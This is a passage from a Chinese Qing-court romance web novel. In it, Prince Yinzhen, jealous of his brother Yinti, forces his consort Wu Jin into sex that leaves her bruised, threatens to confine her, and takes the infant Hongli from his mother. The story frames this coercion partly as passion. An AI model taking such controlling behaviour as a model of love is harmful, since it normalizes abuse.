“十四,你别跟你四哥作对,此事是你的不对,你别再加深矛盾了,我们之间已经结束了,我喜欢的人从来都不是你,你别再想方设法见我,我们就不该见面,你明白吗?”
胤禵不想明白,只是他不愿意让乌锦失望,只能点点头说他知道了,其实他们不该回京城的,只是时间不能倒退。
“你是喜欢四哥吗?”
“我喜欢谁都跟你无关。”
“阿玛,额娘……”前面的弘春叫他们,乌锦没有继续跟十四掰扯,朝着弘春走过去。
“额娘,你是在跟阿玛吵架吗?”
“不是,弘春想不想糖葫芦?”
弘春点头。
乌锦带着他去买糖葫芦,不再跟十四说话。
逛了半天,他们才分开,弘春让十四带回去。
第109章第109章新文《康熙家的德妃又作又……
年很快过了,乌锦带着曦宁又回娘家一趟。
她阿玛边喝茶边摸着胡子说道:“以前桃子出生时,我们让算命先生给桃子算命,那算命先生说我们家桃子是富贵命,你还不相信,如今信了吧。”
她额娘没好气地推了推她阿玛:“当初是谁不信,明明是你不信,说鸡窝里出不了金凤凰。”
阿玛笑呵呵地点头:“是我是我,没想到我们乌家真的出了金凤凰。”
她额娘也忍不住对着她感慨一句:“桃子,你能回来,额娘不知道有多高兴,你不在的那几年,你额娘一想到你就忍不住落泪,好在一切苦尽甘来,乌安跟乌明两人也争气。”
乌锦握住额娘的手,跟他们说他们以后只需要好好享福就行,不用再为他们操劳担心。
直到傍晚,一家人吃完晚膳后,乌锦才带着曦宁离开,回到桃园后见到四阿哥在等她们,她问他用过膳没有。
“我在等你们回来。”
“阿玛,我们回来得晚啦,而且我们已经吃过了。”
“知道回来得晚就好,下次要早点回来。”
这话虽然是对着曦宁说的,但显然他是提醒她,责怪她回来得太晚,她让人摆膳,在他用膳的时候,她去洗澡,女儿也回自己的房间。
屋内点着灯,乌锦洗完后出来,由听春跟翠香帮她绞干头发,四阿哥进来时似想到什么,让人备水,然后又出去了。
等乌锦头发干得差不多,他才进来,也洗完澡了。
“怕你嫌我身上有味道。”
乌锦笑了笑:“你还挺自觉。”
这么多年,胤禛也了解她的生活习惯,睡觉前一定要洗澡,不管夏日还是冬日,他要是不洗就躺到床上去,她会有点不高兴。
“是不是可以歇了?”
乌锦让人只留一盏灯,放下床帐后,两人躺下来。
“我让太医开了药,对你身子好,太医说每日喝一碗即可。”
乌锦偏头看他:“什么药?我又没有生病。”
“太医说你体寒,需要调养身子,我看你冬日手脚冰凉,就是体寒的缘故,得喝一些滋补的汤药。”
乌锦算是听明白了,他还想着让她生孩子呢,还不死心呢,又开始让她喝药,先前不要孩子的时候让她喝避子汤,想要孩子时就让她喝滋补汤。
“要喝你自己喝,我不喝,胤禛,你存的什么心思你自己清楚,我看年氏挺年轻的,你想要孩子的话应该让年氏侍寝。”
“我只想要一个属于我们自己的孩子。”
乌锦觉得这人在发神经,起身想要往外走,被他拉住,困在怀里不松开。
“我不说就是,这么晚了,你还想去哪?”
乌锦直接捶他两下。
胤禛也不恼,凑过去亲她,她一直躲,他就一直亲。
“我要睡了。”
“做完再睡。”
乌锦就知道他没死心,恨不得天天往她身上“播种”让她生出一个阿哥来,她比他还大一岁,这个年纪应该不会再有孩子了,她推拒他,就是不让他得逞。
“好,我不碰你,我们好好睡觉。”胤禛知道乌锦生气了,不再招惹她。
乌锦直接扯过一床被子裹住自己,背对着他。
胤禛只好让人再送一床被子进来。
……
眨眼间到了二月初,曦玉格格的亲事已经定了下来,皇上册封曦玉格格为郡主,同年九月嫁给康亲王的二儿子。
曦宁知道曦玉半年后要嫁人,两人天天黏在一块,乌锦也不管她们姐妹的事,弘春除夕那天被皇上骂过后,他去上书房的次数多了,过来找她的次数就少了,有时候是从上书房那边回来后过来找她。
母子两一个月可能也就见上六七次。
月初,她听闻皇上生病,因皇上迟迟不立新太子,朝中大臣们在皇上生病时写折子请求皇上立太子,他们怕皇上突然间撒手人寰而无人即位,引起朝中大乱。
皇上便让那些人举荐适合当太子的人,不少大臣纷纷上折子,有举荐大阿哥的,有举荐三阿哥的,有举荐四阿哥跟
八阿哥的。
有一日,四阿哥是面带笑脸回府,心情看上去很好,他过来桃园,还亲手给她剥橘子。
“主子爷为何开心?”
“皇阿玛今日当着众臣的面骂老八狼子野心,结党营私,让老八闭门思过一个月。”
“皇上为什么骂八阿哥?”
胤禛笑道:“老八愚蠢,朝中有很多人举荐老八当太子,你可知皇阿玛为何生气?”
乌锦大概知道,八阿哥就是显得太着急一些,以为这个时候获得大多数朝臣的支持就能被皇上立为太子,殊不知这只是皇上的一次试探,皇上即使生病年迈,仍然不肯放权,对于觊觎皇位的人,他自然不满。
好在只是闭门思过一个月,没有重罚。
乌锦假装不懂,问为什么。
“因为老八愚蠢,皇阿玛还在生病,他却觊觎皇阿玛的皇位,难怪皇阿玛不容他。”
老八犯的错越多,皇阿玛对他越不喜,对他而言就是大大的好事,胤禛原本还很高兴,看了看乌锦又想到十四站出来替老八求情,他又沉下脸,这十四是铁了心跟老八他们站到一块。
不过这不要紧,他目前要做的就是继续忍耐,用乌锦之前的话说不能过早地暴露野心,皇阿玛现在是不容许任何一个人觊觎皇位。
他想了想,还是不要跟乌锦说那么多。
“曦宁呢?”
“估计在曦玉格格那。”
“陪我下盘棋吧。”
胤禛让人摆上棋盘,他跟乌锦下棋,过了一会儿,奴才说弘春过来了,乌锦看了看他,他便说道:“那就不下了,我回去前院了。”
他回前院,弘春这个孩子究竟是谁的孩子,他已经派人去镇北关那边详查,估计再过不久就能查出来。
乌锦觉得四阿哥主动避让,是因为他今日心情好,不然他会在一旁盯着他们,弘春进来,主动跟她说他今日都学了什么,她觉得弘春一下子就沉稳了。
“弘春很厉害。”
“额娘,我想吃点心。”
“只吃两块好不好?”
弘春乖乖地点头。
弘春在她这里吃了两块点心,两个橘子后才离开,待了不到两刻钟。
当天夜里,胤禛还是跟乌锦同睡,夜里突然下暴雨,砸得屋檐咚咚作响,他被雨声吵醒,身旁的乌锦也动了动,他以为乌锦也醒了,唤了一声才发现她没醒。
雨声越来越大,胤禛本不想理会,只是他听到乌锦呓语,嘴里嘟嘟囔囔不知在说什么。
一道雷声轰隆响过,乌锦似乎被吓到了,睁开眼,脱口而出:“十四,下雨了。”
很清晰的十四二字,胤禛没听错,他盯着乌锦:“你刚刚说什么?”
乌锦刚睡醒,人其实还有点迷迷糊糊,眼神还很迷离。
“你刚刚叫的是十四吗?”
乌锦一愣,她刚刚叫了十四吗?她仔细一听,外面下雨了,她想到之前她跟十四的约定,说不定她真的叫了十四,只是下意识的反应,下雨天比较特殊,她感觉到身旁的人周身仿佛渡了一层冰霜,眼神凌厉。
“爷,你在说什么?”她叫了也不能承认呀,她也不知道自己叫没叫,叫了也只是梦话,她人还没彻底清醒。
“你刚刚喊了十四的名字。”
“爷,你肯定听错了,我不会喊十四阿哥的名字,我才刚睡醒,你听到的是胡话。”
胤禛很确定自己听到的是十四二字,这可是她第一次当着他的面喊十四,她被吓到了脱口而出就是十四的名字,八年的确不容易抹灭。
“我没有听错。”
“爷,你听错了。”
胤禛见到乌锦接连否认,就知道她心虚了,因为心虚才否认,他盯了她一会,过后才说道:“睡吧。”
乌锦又睡过去。
胤禛听着外面的雨声,直到天亮也没有再次入睡。
这雨下了半夜,第二天起来时还是阴雨绵绵,院子都变得泥泞,胤禛在桃园用过早膳后才回前院。
乌锦早上起来,也不知道四阿哥是生气还是没生气,哪怕是她真的叫了十四阿哥,那也是她不清醒的时候叫的,他不应该为了这个生气。
他白天一如既往忙碌,乌锦让膳房的人熬一份人参鸽子汤送去前院。
下雨了,曦宁也没有出去玩,母女两难得在一块刺绣,乌锦教女儿绣一些简单的花样。
一天就这样过去,傍晚,四阿哥没有过来,乌锦也不知道该不该等他用膳,她让小才子过去前院问一下苏公公,四阿哥今晚会不会过来桃园。
小才子回来说苏公公说今儿主子爷不过来,召了年格格侍寝。
他不过来,那她们母女两自己吃,乌锦才不管他,他爱怎么生气就怎么生气吧。
之后几天,四阿哥也没有过来。
乌锦照常过自己的日子。
……
另一边的胤禛终于拿到弘春的调查结果,那些人一共整理了一百多份口述,包括当时给弘春接生产婆的口述,种种证据之下,他确定弘春不是他的孩子。
接生产婆说弘春是康熙四十六年四月九日出生,应该是足月出生,不足月出生的孩子不大可能存活下来,大多夭折,往前推一年,那会乌锦已经“死”了,弘春不可能是他的孩子,不是他的孩子,那只能是十四的孩子。
尘埃落定,胤禛将那些呈上来的信件撕个粉碎。
又是一个大雨倾盆的晚上,胤禛忽然从床上起来。
“主子爷,你怎么了?”
胤禛没理会年氏,披上外衣就朝外面走。
今儿是高昌义守夜,他见到里头有动静,打盹的他顿时清醒,见到四阿哥出来,他不明所以:“主子爷,你要去哪?”
“伞呢?”
高昌义连忙让人去拿伞,他替四阿哥撑着,见四阿哥往桃园去,大半夜的,四阿哥脸色也不好,他顿时不敢多话。
桃园离前院本就只有一墙之隔,他们很快就到了。
这会桃园十分安静,大家都歇下了,屋外没有人守夜,高昌义去敲门,好在乌主子身边的奴才没有睡得太死,很快过来开门。
“主子爷……”君梅见到主子爷夜里前来,不知发生了什么,只见主子爷直朝里间走去,她不敢阻拦。
乌锦睡得正熟,被外面的动静吵醒,她见到四阿哥一群人进来,她很是疑惑,君梅脸上出现担忧的表情,她坐起来,直接让君梅点灯。
房间内变得通明后,乌锦看向那个脸色阴沉的人,挥挥手让其他人先出去。
“主子爷这是怎么了?”
胤禛走过去,弯腰低头吻她。
乌锦一头雾水,不知道他想干什么,他一遍遍啄吻她的唇,她也只好昂着脖子回应他。
只听见他温柔道:“再给我生个孩子吧,生个阿哥。”
乌锦没想到几天过去了,他还想着这茬,她是三十六岁,不是二十六岁,她保养得再好,脸上的细纹是骗不了人的。
她顿时不想搭理他,沉默不语。
胤禛见她不说话,想到弘春是十四跟她的孩子,她是不是觉得她有弘春了,有儿子了,所以不想给他生,他脸色变得更加阴沉:“你都给他生了阿哥,为何不愿意给我生,不生的话,你这辈子都别想见到他们,也别想走出这道门,弘春是十四的儿子,我的好弟弟可真是会往我背后捅刀啊。”
乌锦觉得这个人在发疯,他样子看上去很癫狂,仿佛要吃人一般,她不想激怒他,她见识过他发疯的样子,只能哄道:“我生,我愿意生,只要怀了,我就生,我愿意再生一个阿哥。”
“一个属于我们两的孩子。”
她点头道:“是,一个属于我们两的孩子,像曦宁一样。”
“这可是你说的,我们来生孩子吧。”
乌锦被放倒到床上,他很快欺身上来,将她从头吻到尾,刚开始动作还是轻柔的,到后面就越发控制不住力道,又掐又捏,她心想明日肯定又是一身青紫。
她喊疼时,他也没有停下来,她也就懒得喊了,任由他发泄。
“是十四厉害还是我厉害?”
乌锦想翻白眼,这人真的是疯了,他抬起她的下巴,让她正对着他,让她说话。
“主子爷厉害。”
“你说的可是真的?”
“当然是真的,主子爷最厉害,十四阿哥比不过你。”
他又顿时沉脸,捏着她的下巴:“谁让你在我面前提起他的?给我收回去!”
“好好好,我收我收,主子爷最厉害,我从来没见过比主子爷更厉害的人。”
胤禛知道她是在敷衍,懒得再听她敷衍,他堵住她的嘴,这次他让她在上面,他要看着她主动。
乌锦睡得好好的,大半夜被叫醒,她眼皮都有点耷拉下去,主动也没有太主动,只想赶紧结束,她刚打瞌睡时,他直接拍她屁股一巴掌,拍得可用力了,直接给她弄清醒。
“你跟十四做的时候也这么敷衍?”
“胤禛,你别发疯。”
“我在发疯吗?你睡梦中喊十四的名字,可有想到我?”
“你都说是睡梦中了,梦中的胡话你也当真?”
胤禛直接冷哼一声:“日有所思,夜有所梦,你心里还惦记着十四,是不是盼着十四把你带回去,盼着跟
十四在一起。”
乌锦真的懒得跟他废话,她直接躺平。
“没事,我来就行。”
到后面,他们两人折腾了一个多时辰,乌锦筋疲力尽加上浑身青紫地睡过去,第二天醒来,罪魁祸首不在。
“主子……”
“先给我涂药吧。”
乌锦涂完药才穿上衣服,她想起昨天发生的事还有他说的话,他说弘春是十四的孩子,他如何得知,他是不是查到什么了。
弘春的出生没那么好瞒,毕竟要有接生产婆来接生,一个活生生的孩子是没那么容易藏住的,他身为王爷,查到什么也不出奇。
乌锦觉得她跟十四的事在四阿哥这没那么容易过去,他既然知道弘春不是他的孩子,而是十四的孩子,他又是心眼小的人,她怕他对弘春不利。
四阿哥登基是迟早的事,站在他那边的人不少,一个年羹尧有兵权,简亲王跟康亲王又是四阿哥的人,一个是镶蓝旗旗主,一个是正红旗旗主,恐怕他的权势要胜过其他阿哥。
乌锦怕四阿哥发疯报复十四阿哥就算了,还会报复弘春。
她很想劝十四阿哥不要跟四阿哥作对,不要卷入皇权争斗中,既然当初他选择远离京城,代表他无心皇位,一开始远离,那就一直远离,中途加入对他没有好处。
想到那些阿哥的下场,乌锦就很头疼。
弘春再过来找她时,乌锦跟弘春单独说话。
“弘春,你以后还是不要再来这里见额娘。”
弘春不解:“为什么?我不能见额娘了吗?”
“我怕你碰到四伯伯,你以后不要来雍亲王府,额娘会出府见你,你自己不要过来这边了。”
“额娘什么时候来见我?”
“额娘会让人给你传信,我们提前约好日子,放心,额娘不会不见你,以后我们就在戏楼里见面吧,我们去的那个戏楼,你还记得吗?”
“我记得,是吉祥戏楼。”
乌锦肯定道:“对,就是吉祥戏楼,我们在那里见面,这样好了,每隔十日,额娘便去戏楼,我们就在那里见面,从今天算起,今天是二月十日,那二月二十,我们在戏楼见面。”
“好吧,我听额娘的。”
“真乖。”乌锦亲了亲弘春的脸颊,一个月见三次其实很少,但见得多了,她怕四阿哥又发疯。
“对了,二月二十日,你把你阿玛带上,额娘有话要对你阿玛说,偷偷的,别让别人知道。”
弘春一听可以把阿玛带上,眼睛一亮,连着点好几下小脑袋。
“那好,你先回去吧。”
“额娘再见,我会想额娘的,额娘记得我们的约好哦,我跟阿玛会在戏楼等额娘的。”
乌锦摸了摸弘春的头,嗯了一声,眼眶泛红,弘春离开后,她眼泪才落下来。
年氏过来时正好碰到要离开的弘春,她多看弘春几眼,她一直有听说乌侧福晋跟十四阿哥有个孩子,正是弘春阿哥,只是这事不知真假,但想必不会空穴来风,尤其是弘春好几次到府上找乌侧福晋。
主子爷昨天半夜突然过去桃园,原本是她侍寝,结果主子爷半夜离她而去,她被好几个人嘲讽奚落,她心里可生气了。
自从乌侧福晋回来后,她的恩宠越来越少,主子爷已经很少召她侍寝,府里人都知道她失宠了,现在最得宠的人是乌侧福晋,几乎只有她一个人侍寝。
乌锦听到年氏求见时还有点意外,不明白她为何要过来见她,她们又不熟悉,她让人请进来。
“给侧福晋请安,侧福晋吉祥。”
“年妹妹有事吗?”
“没有,我只是想过来姐姐这坐一坐。”
“年妹妹,上次我摔倒,我记得是妹妹绊的我,要是妹妹,我也不会磕到脑袋。”
年氏本以为这事没人知道,主要是过去那么久了,她以为侧福晋自己都不知道是谁绊的她,她突然提起,她都来不及掩饰脸上的表情,反应过来后,她尴尬笑道:“姐姐,不是我绊的姐姐,那日是姐姐撞上我,我绝对没有故意绊倒姐姐。”
“故意也罢,无心也好,我只是想说我跟妹妹没什么好说的,妹妹其实没有必要跟我闲聊,妹妹觉得呢?”
年氏听得出来侧福晋在赶她,她是有意想跟侧福晋交好,她平日里已经很少碰到主子爷,知道主子爷来侧福晋这里的次数多,只是侧福晋这么直白地拒绝她,让她脸色有些难看。
“姐姐,上一次真不是我故意绊倒姐姐。”
“好啦,妹妹,我乏了,想歇息,妹妹自便吧。”
乌锦直接起身回里间。
年氏落得个没脸,想发火又意识到这里不是她的地方,乌氏毕竟是侧福晋,在身份上,乌氏要高于她,她不好对着乌氏发脾气,尤其是她现在得宠。
她只好离开,一走出桃园,她脸色就很难看,不满道:“她以为她是谁啊,竟然给我脸色看,主子爷只是暂时宠她而已。”
一旁的丫鬟不敢接话。
“给十四阿哥生过孩子的人也敢给我脸色看,主子爷也是,明知乌氏跟十四阿哥有过一腿,主子爷怎么还愿意跟她处在一块,还那么宠她,也不嫌脏,她以为她是谁啊,我哥哥比她两个弟弟官职要高,他们乌家算得了什么,他们才是仰仗主子爷的人,没有主子爷,他们什么都不是。”
年氏愤愤不平地回到自己的院子。
第110章第110章新文《康熙家的德妃又作又……
十天后,乌锦只带着君梅跟听春出府,到吉祥戏楼后要了二楼最右边的一间包厢,从包厢的另一侧回廊可以往下看到整个戏楼的大堂与戏台。
她见到弘春被十四牵着带进戏楼时,她让君梅下去接人,等君梅把人迎进来时,弘春一下子跑到她身边,骄傲道:“额娘,我有听你的话,我把阿玛偷偷带过来了。”
乌锦笑着摸摸弘春的脑袋,称赞他做得好,上次见面,她才刚让十四别来找她,这会又把他叫过来。
“弘春,你到回廊那边先看戏好不好,额娘跟你阿玛说一会话。”
弘春嗯了一声,乖乖过去看戏。
乌锦让君梅跟听春两人守在外面,随后她看向十四,严肃道:“十四,你别跟八阿哥他们走得太近,别跟你四哥作对,若是可以,跟皇上求个外放的差事,你带着弘春离开京城吧。”
远离京城这一滩浑水,不跟四阿哥反着来,也许十四跟弘春还有一条活路,他们有好的下场,四阿哥已经是大势已成,历史或有偏移,但大结局不会改变,四阿哥一定会坐上那个位置。
十四先前本来就跟八阿哥他们就不算太亲近,他跟四阿哥走得最近,若是没有这些事,四阿哥登基后,他可以当个亲王,趁着现在事情还有回转的余地,她要劝十四不要执迷不悟。
“为什么?你是相信四哥会登基是不是?皇阿玛只是罚八哥闭门思过一个月,这不算重罚,八哥有贤名,朝中有许多大臣是拥护八哥的。”
胤禵不觉得八哥会输给四哥,他若是不争,她永远不可能回到他身边。
“十四,听我的,你带着弘春离开京城吧,别再跟八阿哥他们来往过密,你四哥他已经大势已成,你别再为了我跟你四哥作对,你想想弘春,你难道希望弘春二十年后连个贝子都当不上吗?”
“那你呢?你想过弘春没有,我若是带着弘春离开京城,他还能见到他额娘吗?”
乌锦抬眸认真地看着十四:“十四,我比谁都希望弘春好好的,你们离开京城才是最好的,别再跟你四哥过不去,你四哥报复心重,等他真正大权在握,便是他清算的时候,趁着事情还有回转的余地,你带着弘春离开京城,让八阿哥他们跟你四哥争,你自己别搅和进来,只有这样,你四哥才会放你一条生路。”
“你在担心我?”
“我担心你们两。”
胤禵听到这句话,顿时眉开眼笑,她还是担心他的,不仅仅是担心弘春,他忍不
住抱住她。
“那天下雨,我一夜没睡,我知道我做错了,但我不后悔。”
“带有弘春离开京城吧,你们好好活着比什么都重要,八年已经够了。”
乌锦话语刚落,门就被踹开,一脸煞气的四阿哥走进来,她顿时一惊,这人怎么来了?
“十四弟抱够了没有?”
胤禵把人松开,见到来人,一点也不慌张,反而说道:“四哥,我永远都抱不够,你擅自闯进来,是有什么事吗?”
乌锦忍不住瞪一眼十四,这人是想火上浇油是不是,没看到他四哥已经在爆发的边缘。
“跟我走!”
乌锦被拽住,一人拽一边,两人互不相让,把她夹在中间,她甩开十四的手,说道:“胤禛,我跟你走。”
她被四阿哥拽着离开,给弘春递一个安抚的眼神,下了楼之后,四阿哥松开她的手,示意她上马车,她坐了进去,他人也跟着上来。
她忍不住解释道:“我是去见弘春的。”
“你为什么不推开他?”
“我刚想推开,主子爷就进来了。”
胤禛冷笑,显然不相信,一张脸黑成炭了。
“是真的,还请主子爷相信我。”
“我看你们是余情未了,我要是不进来,你们说不定又生出一个弘春。”
“我真的只是想见弘春。”
“不就是阿哥,我也可以给你一个阿哥。”
这话是什么意思,又让她生孩子,乌锦想握住他的手,被他甩开,嫌她脏,两次之后,她也不想理他了,默默看着窗外,让他自己冷静冷静,消消气吧。
她希望十四把她的话听进去,哪怕以后她见不到弘春,她知道他们好好的就行,不见面也没关系。
回到桃园,他没有跟过来,估摸着是回前院了,乌锦头疼,想着要怎么哄他,还有他怎么知道她在戏楼,他一定有派人暗自跟踪她。
“小才子,你让膳房的人炖一份银耳莲子羹。”她吩咐一声。
等银耳莲子羹做好后,乌锦亲自端到前院。
“苏公公,主子爷呢?”
“在书房呢。”
乌锦让苏培盛帮她通传一声,苏培盛连忙应是,过一会儿,苏公公出来后轻轻摇摇头,这是不想见她的意思,还在气头上。
“那好,苏公公把这个送进去吧。”
苏培盛接过端盘,说他一定送进去给四阿哥。
乌锦又回到桃园。
到了傍晚,乌锦让女儿过去前院问她阿玛过不过来她们这边跟她们一块用膳,得知四阿哥过去福晋那了,她也没说什么。
之后的几天,乌锦还是每日亲自送一份甜羹过去,但都遭到闭门羹,他不想见她,气这么久。
到了三月六日,距离某人生气已经过去七天,这七天,乌锦听说他连着召年氏侍寝。
乌锦坐在铺炕上望着窗外,外面正在下暴雨,哗啦啦地将院子淋湿,院子里的两棵桃树被大风吹得凌乱,树枝摇曳。
外头忽然一阵大动静,乌锦让君梅出去看看发生什么了,没一会儿,四阿哥就进来,牵着一个两三岁的小男孩。
她眼神疑惑,不知道他要做什么。
“跪下。”
那小男孩也不知有没有听懂他的话,被这么一喝,小孩子被吓到,眼睛里噙着泪。
“跪下!”
这回小男孩跪下了,四阿哥又让小男孩叫额娘,小男孩虽然只有两三岁,但已经会叫额娘了,他哽咽地喊了一声额娘。
“以后这个孩子就记在你名下,你不是要阿哥嘛,这个孩子以后就是你的孩子,养在你膝下,你以后不要出府见弘春。”
乌锦看向平静地说出这番话的男人,平静中带着疯狂,她一时不知道该说什么,这孩子是谁的孩子?
“快叫额娘,以后她就是你额娘。”
小孩子大声哭出来。
乌锦终于找回自己的声音:“主子爷,你这是干什么?这是谁的孩子?”
“这是弘历,以后就是你的孩子,你负责养他长大。”
弘历?她没见过弘历,但她知道这是钮祜禄氏的孩子,弘历是未来的乾隆大帝,他疯了,突然把钮祜禄氏的孩子带过来这边给她养,她看弘历白白胖胖的,一看就是被养得很好,钮祜禄氏那边应该急疯了吧。
“主子爷,你在说什么?我为什么要养弘历?”
“我要你养!”
乌锦不可置信地看着他,这人又在发疯了,七天过去,他就想出这么一个办法,让弘历代替弘春?
“主子爷,你把孩子还回去给钮祜禄格格吧,那是钮祜禄格格的孩子,不是我的孩子。”
“生恩不如养恩,弘历还小,他记在你名下,你养他长大,他不会记得谁是他生母,你没听到他叫你额娘了吗?”
乌锦觉得这人不是在说笑,他是真的想让她养弘历,他一直想要个阿哥,正好弘历是他的孩子,此时的弘历还在哭,他估计都不知道发生了什么。
“胤禛,你疯了,你把孩子带回去给钮祜禄格格,我不养这个孩子。”
胤禛把在地上跪着的弘历抱起来,直接往乌锦怀里一放,“弘历就是你的孩子,这个孩子以后就养在桃园,这是属于我们两的孩子。”
乌锦把孩子放到铺炕上,站起来跟他说话:“胤禛,你在发什么疯?”
胤禛正色道:“我没在发疯,这孩子是属于我们两的孩子,都是孩子,没什么区别,弘历还小,以后他会认你这个额娘的,只要你用心养他。”
乌锦被气得嗓音变大:“胤禛,我不会养这个孩子,要养你自己养,这不是我的孩子,你要气到什么时候。”
胤禛冷笑,什么也没说,转身离开,没带走孩子。
弘历还在哭,小孩子刚到一个陌生环境,谁都不认识,就只有哭了,乌锦让君梅她们先哄哄弘历,她过去前院想找胤禛继续掰扯,她冒着雨过去前院。
结果这人没在前院,等她折返回桃园时,他又把弘历的两个奶娘带过来了,还有几个奴才将弘历的东西搬过来。
奴才冒着雨搬东西,浑身湿透。
胤禛指了一间房,让人把东西放进去。
乌锦头更疼了,知道他不是开玩笑,她气道:“胤禛,你到底想干什么?”
“我要你养这个孩子,钮祜禄氏已经答应了,你不用担心,弘历就是你的孩子。”
乌锦气到身子发抖,很想抬手扇他一巴掌,让他清醒清醒,她怒吼说她不养。
“由不得你,没什么事的话,我先回前院了。”
乌锦哪能让他走,硬拉住他,让他把孩子带走。
“乌锦,你不是想要阿哥吗?我如你所愿不好吗?你就别惦记别人的孩子了,以后你也不用出府见别的孩子,弘历就在这,他也一样是阿哥。”
乌锦觉得他说这些话时语气是阴森冰冷的,他的脸也是充满戾气,一改往日温柔的样子,她咬牙切齿道:“你是想囚禁我?”
“是,这样你就不会见到十四了,我不想再看到你们余情未了的样子,你要孩子,我就给你孩子,你要什么,我就给你什么,你看,我待你多好,我封你为侧福晋,照顾乌家,你应该感激我才是。”
“胤禛,我跟十四阿哥没有余情未了。”
“嗯,我信了。”
胤禛在她唇上轻轻落下一吻,乌锦直接咬住他的唇,咬出血,他没有推开,他嗓音低沉:“乌锦,你是我的人,我不会再让别人碰到你。”
“我是人,不是物品,我只属于我自己,我不属于你。”
胤禛用拇指抹了抹她唇上沾到的津液,只是轻轻笑一声。
“把孩子还回去给钮祜禄格格吧,曦宁才是我们的孩子。”乌锦这个时候有些庆幸曦宁过去找曦玉了,没见到他们这样争吵,孩子都不希望父母吵架的。
“养着吧,我还要看折子,先回去了。”
他转身离开。
乌锦看他离开,又看那群不知所措的奴才,她让他们把东西搬回去,但那群奴才不敢动作
,这个王爷府还是胤禛说了算,她一个侧福晋算得了什么。
她回到房间,弘历被他的两个奶娘哄着,这会已经不哭了,她叹口气,说道:“你们把孩子带回去给钮祜禄格格吧。”
其中一个奶娘摇摇头,说主子爷已经吩咐下来了,她们要待在桃园伺候小阿哥,不能回清风苑。
“那钮祜禄格格也同意主子爷把孩子带来这边?”
“格格不得不同意,侧福晋,主子爷的决定,我们都改变不了,主子爷说了要是格格跟我们偷偷把孩子带回去,格杀勿论。”
这人真是疯了,乌锦捂着头疼的脑袋,她让奶娘先把弘历抱回弘历的房间,让君梅她们为奶娘收拾出一间空房,让她们暂且住下。
曦宁从曦玉那边回来,见到桃园多了不少人,她的弟弟弘历也出现在这,她问额娘是怎么回事。
“你弟弟暂时在桃园住几天,过几天就送回去了。”
“是钮祜禄额娘生病了吗?”
乌锦说是,她代为照顾几天。
天黑后,四阿哥又过来跟她们一起用膳,在女儿面前,乌锦没说什么,等吃完饭,女儿回房间后,她才瞪着他,让他把弘历带回去。
“乌锦,弘历以后就留在这,不要再质疑我的决定。”
“弘历是钮祜禄妹妹的孩子,你将孩子从亲生母亲那里夺走,钮祜禄妹妹会伤心的,把孩子还回去吧。”
“你不用管她,你只管好好把弘历抚养成人就行。”
乌锦见怎么跟他都说不通,他一意孤行,她气得不想跟他说话。
夜里,他们同躺在一张床上,乌锦贴着床边,不想挨着他,自己盖一床被子,当他想搂她时,她直接抱着被子起身往外走。
“去哪?”
“怎么?我现在都不能走出房间了吗?”
“回来。”
乌锦才不听他的,她直接在外间的铺炕上睡下,他过来想把她抱起来,她拼命挣扎,他抱不住,她整个人栽在地面上,好在她裹着被子,才不至于摔疼。
“再把脑袋摔坏,是不是又把我忘了?”
“忘了又如何,又不是没忘过,我何止是摔坏脑袋,说不定再过不久,我会死在你手上。”乌锦没好气道。
“别说傻话,回床上睡,你想把那些奴才都折腾醒吗?”
乌锦瞪着他,说道:“我不想跟你睡在一块,你不是嫌我脏嘛,我在这边睡正好合你的意,省得我这个脏东西碰到你。”
胤禛又把人抱起来,见她要挣扎,他威胁道:“再动,我就把你身边那些奴才通通拉去杖责。”
“你除了威胁我,还会什么?”
“管用就行。”
乌锦又跟他躺在一张床上,背对着他,用被子蒙住自己。
旁边没有动静后,她才被子里面探出头,他睡着了,把她气得这样,结果他呼呼大睡,她直接摇醒他。
“你不想睡的话,我们就做。”
“做你个大头鬼。”
“骂人的话?”
乌锦懒得跟他多说,又蒙上被子,不知不觉就睡着了。
过了两天,乌锦怎么都说不动他,弘历依旧养在她这边,钮祜禄氏也不敢过来看孩子,怕惹怒四阿哥,她只好让奶娘过去跟钮祜禄氏说一声,孩子在她这边挺好的,她不会虐待孩子,她会尽快把孩子还回去给她。
曦宁也察觉到额娘跟阿玛之间的不对劲,额娘让她别管,她就是想管也管不了,李额娘问她是不是阿玛决定让弘历养在她额娘身边,她其实也不知道怎么回事,她看额娘不像是想养弘历的样子,更何况额娘本身就有弘春了。
只是她发现弘春许久没过来了,她看额娘每一天对阿玛都没有好脸色,难不成阿玛又不让弘春进府了?
曦宁也不知道该帮谁,她也很烦恼。
……
另一边的福晋乌喇那拉氏见弘历被四阿哥抱去乌氏那边,说不担心是假的,她不知道四阿哥为什么突然间要把弘历交给乌氏抚养。
四阿哥对乌氏的偏爱有目共睹,乌氏都不守妇道,跟十四阿哥有染了,四阿哥都能好吃好喝地供养着乌氏,依旧对乌氏恩宠有加,弘历要是真的由乌氏养大,说不定四阿哥会让弘历继承爵位。
她见弘历放在乌氏那有好几天,她实在耐不住,过去桃园一趟。
“乌妹妹,你在做什么?”
“福晋,我在练字。”乌锦这几天气得肝疼,只能练练字让她自己冷静冷静,修身养性,不然她会气死。
“怎么想起来练字?弘历呢?”
乌喇那拉氏扫一眼,没见到弘历。
“奶娘她们带弘历去花园那边玩了。”
乌喇那拉氏欲言又止:“乌妹妹,主子爷他……到底是什么打算,主子爷前几天突然将弘历抱过来你这边,钮祜禄妹妹她过来找我,那样子一看就是哭过了,她不敢跟主子爷说,只能跟我哭诉两句,弘历在钮祜禄妹妹养得好好的,主子爷他为什么要把弘历抱到你这边?”
“主子爷他在发疯。”
乌喇那拉氏愣了一下,没想到乌氏会这么回答,谁敢这么说主子爷,她偏头看乌氏,觉得乌氏似乎不是在开玩笑,这是什么意思?
“福晋,不瞒你说,我也把弘历还回去给钮祜禄妹妹,只是主子爷不同意。”
“主子爷为何不同意?”
“主子爷不想让我见弘春,他想用弘历代替弘春。”乌锦也不怕告诉福晋,反正这些事,福晋应该也知道,要是福晋能帮她劝劝四阿哥,那就再好不过。
乌喇那拉氏没想到是这个原因,前阵子她见弘春可以进府,她还以为四阿哥不介意弘春的存在,如此大度,她就说男人不可能不介意。
“福晋,你帮我劝劝主子爷吧,弘历是钮祜禄妹妹的孩子,我养着算怎么回事,这不是让我跟钮祜禄妹妹结仇嘛。”
乌喇那拉氏哪敢劝四阿哥啊,四阿哥骨子里是说一不二的人,他也就对乌氏宽容,因为他爱乌氏,四阿哥可不爱她们,他决定的事,她们是说不动的。
她尴尬笑两声,说道:“乌妹妹,既然四阿哥不想让你见弘春阿哥,你答应他不见就是,何必惹四阿哥生气。”
